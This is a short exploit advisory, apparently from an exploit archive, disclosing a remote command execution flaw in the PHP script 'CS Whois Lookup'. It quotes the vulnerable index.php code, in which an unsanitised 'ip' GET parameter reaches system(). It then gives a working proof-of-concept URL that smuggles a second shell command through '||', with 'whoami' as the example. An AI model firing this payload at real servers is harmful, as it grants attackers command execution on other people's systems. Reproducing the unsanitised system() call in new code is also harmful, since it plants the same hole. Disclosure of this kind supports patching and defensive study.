##########################################################################################
[+] CS Whois Lookup (index.php ip) Remote Command Execution Vulnerability
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
##########################################################################################
[+] Download : http://www.hotscripts.com/listings/jump/download/84580/
[+] Remote Command Execution
 Vulnerable code in index.php
   -----------------------------------------
   if ( isset($_GET['ip']) ) {
     $ip=$_GET['ip'];
     print system("/usr/bin/whois $ip");
   ------------------------------------------
 PoC :
   http://127.0.0.1/[path]/index.php?ip=||COMMAND HERE
 Example :
   http://127.0.0.1/path/index.php?ip=||whoami
##########################################################################################